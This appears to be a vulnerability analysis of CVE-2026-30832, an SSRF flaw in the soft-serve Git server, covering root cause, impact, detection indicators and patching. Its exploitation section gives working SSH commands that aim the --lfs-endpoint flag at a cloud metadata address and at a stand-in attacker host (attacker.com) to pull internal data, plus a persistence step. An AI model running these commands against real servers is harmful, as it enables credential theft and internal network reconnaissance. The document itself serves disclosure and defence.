CVE-2026-30832: 
vulnerability analysis and mitigation

CVE-2026-30832 is a Server-Side Request Forgery (SSRF) vulnerability in Charmbracelet soft-serve, a self-hosted Git server, affecting versions 0.6.0 through 0.11.3. Any authenticated SSH user can exploit the unvalidated --lfs-endpoint flag during repository import to force the server to make HTTP requests to arbitrary destinations, including internal networks and cloud metadata services. The vulnerability was discovered by Vinayak Mishra (@vnykmshr), disclosed on March 5, 2026, and patched in version 0.11.4. It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory, Soft-Serve Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the --lfs-endpoint flag value supplied by a user via SSH flows through four code paths (pkg/ssh/cmd/import.go, pkg/backend/repo.go, pkg/lfs/http_client.go, and pkg/lfs/basic_transfer.go) with zero URL or IP validation. The LFS HTTP client uses Go's http.DefaultClient with no custom transport, no IP filtering, and no redirect blocking — in stark contrast to the secureHTTPClient introduced for webhooks in v0.11.1 (GHSA-vwq2-jx9q-9h9f). The attack operates in two stages: a blind SSRF stage where the server POSTs to the attacker-controlled endpoint (e.g., http://169.254.169.254/latest/meta-data/), and a full-read stage where a fake LFS server returns batch responses with Href fields pointing at internal targets, causing the server to fetch and store those responses as LFS objects. Additionally, when imported as a mirror (--mirror), the malicious lfs.url is persisted in the repo's git config and re-exploited on every scheduled sync without further attacker interaction (GitHub Advisory, Soft-Serve Advisory).

Successful exploitation allows any authenticated SSH user to perform port scanning and service discovery of internal hosts via timing and error differentiation, extract cloud credentials from metadata endpoints such as 169.254.169.254 (full credential extraction is possible via the fake-LFS-server chain unless IMDSv2 is enforced), and read responses from internal APIs by routing LFS download URLs through the pipeline. Fetched internal responses are stored as LFS objects on disk and are retrievable by the attacker through the normal LFS download API. Mirror-imported repositories create persistent SSRF that repeats on every scheduled sync without further user action, significantly amplifying the risk of ongoing credential theft and internal network reconnaissance (GitHub Advisory, Soft-Serve Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, consisting of concrete SSH commands that trigger the SSRF via the --lfs-endpoint flag. The EPSS score is approximately 0.024% (0.036% per Feedly), placing it in the 7th percentile for near-term exploitation probability. No active in-the-wild exploitation has been reported, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires only a valid SSH key — no elevated privileges are needed — making the attack surface broad for any soft-serve deployment with external or untrusted users (GitHub Advisory, Soft-Serve Advisory).

1. Obtain SSH access: Acquire any valid SSH key registered with the target soft-serve instance (versions 0.6.0–0.11.3). No administrative privileges are required.
2. Prepare a repository with LFS objects: Create or use an existing GitHub repository containing Git LFS pointer blobs, as the LFS batch request only fires when LFS objects are detected (SearchPointerBlobs).
3. Stage 1 — Blind SSRF (direct metadata probe): Run the following command to force the server to POST to a cloud metadata endpoint:

ssh -p 23231 <target> repo import ssrf-test https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/

The batch request is sent even though the response fails JSON parsing; reachability can be confirmed via timing or error differentiation. 4. Stage 2 — Full read via fake LFS server: Host a fake LFS server at attacker.com that responds to POST /objects/batch with a valid BatchResponse containing Href fields pointing at internal targets (e.g., http://10.0.0.1:8080/admin or http://169.254.169.254/latest/api/token):

ssh -p 23231 <target> repo import ssrf-chain https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://attacker.com/fake-lfs/

5. Retrieve internal responses: The server fetches the internal URLs and stores the response bodies as LFS objects. The attacker retrieves them via the normal LFS download API on the newly created repo.
6. Establish persistence (optional): Import with --mirror to persist the malicious lfs.url in the repo's git config, causing the SSRF to repeat on every scheduled mirror sync without further interaction (GitHub Advisory, Soft-Serve Advisory).

• Network: Outbound HTTP POST requests from the soft-serve server to 169.254.169.254 or other RFC-1918/link-local addresses; outbound connections to unexpected external hosts serving as fake LFS endpoints; unusual HTTP traffic on non-standard internal ports originating from the soft-serve process.
• Logs: SSH command logs showing repo import commands with --lfs-endpoint flags pointing to internal IPs, cloud metadata URLs, or unknown external hosts; LFS batch request errors (JSON parse failures) in application logs for requests to non-LFS endpoints; repeated LFS sync errors in mirror job logs referencing suspicious lfs.url values.
• File System: Unexpected LFS object files stored under the soft-serve data directory containing content from internal services (e.g., JSON responses from internal APIs, cloud credential payloads); git config files for imported repos containing a lfs.url pointing to internal or attacker-controlled addresses (check <repo>.git/config for [lfs] section with suspicious url values).
• Process: The soft-serve process (soft-serve) initiating outbound TCP connections to internal network ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) that are not part of normal operation (GitHub Advisory).

Upgrade soft-serve to version 0.11.4 or later, which applies SSRF protection to the LFS HTTP client by replacing http.DefaultClient with a secure client using ValidateIPBeforeDial in the transport and DNS resolution checks (commit 3ef660098ab37a7950457da8ecc25b516e37ce4e). For environments unable to patch immediately, restrict SSH access to trusted users only and implement network-level egress filtering to block the soft-serve server from reaching internal RFC-1918 addresses and cloud metadata endpoints (169.254.169.254). If running on AWS, enforce IMDSv2 (requiring a session token) to prevent credential extraction from the metadata service even if SSRF occurs. Audit existing mirror repositories for suspicious lfs.url values in their git configs and remove or reconfigure any that point to internal or untrusted endpoints (Soft-Serve Release, GitHub Advisory).

The vulnerability was covered by The Hacker Wire shortly after disclosure, highlighting the SSRF-via-LFS-endpoint attack chain (The Hacker Wire). The NixOS community opened a tracking issue to update the soft-serve package in nixpkgs following the advisory. Social media discussion appeared on Bluesky and Mastodon/Fediverse, with security community accounts noting the vulnerability's severity and the availability of a PoC. The openSUSE security mailing list also issued a notification to its users regarding the affected package.